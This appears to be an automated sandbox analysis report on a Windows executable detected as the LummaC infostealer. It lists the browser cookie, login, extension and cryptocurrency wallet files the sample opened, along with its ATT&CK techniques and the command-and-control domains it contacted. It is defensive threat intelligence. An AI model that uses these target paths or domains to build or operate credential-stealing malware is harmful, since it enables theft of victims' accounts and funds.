Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AFWAAFRXKO	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000001.00000003.1492688223.000000000050E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1492917579.000000000050F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: S6oj0LoSiL.exe PID: 3200, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: S6oj0LoSiL.exe PID: 3200, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	34 Virtualization/Sandbox Evasion	1 OS Credential Dumping	751 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
S6oj0LoSiL.exe	57%	Virustotal		Browse
S6oj0LoSiL.exe	63%	ReversingLabs	Win32.Trojan.StealC
S6oj0LoSiL.exe	100%	Avira	TR/Crypt.XPACK.Gen
S6oj0LoSiL.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://grannyejh.lat/apig	100%	Avira URL Cloud	malware
https://grannyejh.lat/5X	100%	Avira URL Cloud	malware
https://grannyejh.lat/apiT	100%	Avira URL Cloud	malware
https://grannyejh.lat/7	100%	Avira URL Cloud	malware
https://grannyejh.lat/eR	100%	Avira URL Cloud	malware
https://grannyejh.lat/)	100%	Avira URL Cloud	malware
https://grannyejh.lat/zX	100%	Avira URL Cloud	malware
https://grannyejh.lat/%%	100%	Avira URL Cloud	malware
https://grannyejh.lat/apigsz	100%	Avira URL Cloud	malware
https://grannyejh.lat/apigs	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
grannyejh.lat	104.21.64.80	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
necklacebudi.lat	false	high
aspecteirs.lat	false	high
energyaffai.lat	false	high
https://grannyejh.lat/api	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://grannyejh.lat/apiT	S6oj0LoSiL.exe, 00000001.00000002.1575941881.0000000005380000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570059825.000000000537C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/7	S6oj0LoSiL.exe, 00000001.00000003.1463637776.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463853167.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463241797.000000000536D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/	S6oj0LoSiL.exe, S6oj0LoSiL.exe, 00000001.00000003.1512785213.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1572106028.000000000056C000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554662041.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530569963.0000000000566000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1417319273.00000000004E3000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529928299.0000000000566000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1493251592.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1441099795.000000000536A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1512840767.000000000537C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/eR	S6oj0LoSiL.exe, 00000001.00000003.1417319273.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	S6oj0LoSiL.exe, 00000001.00000003.1463725137.0000000005394000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apigsz	S6oj0LoSiL.exe, 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1571584223.0000000000511000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
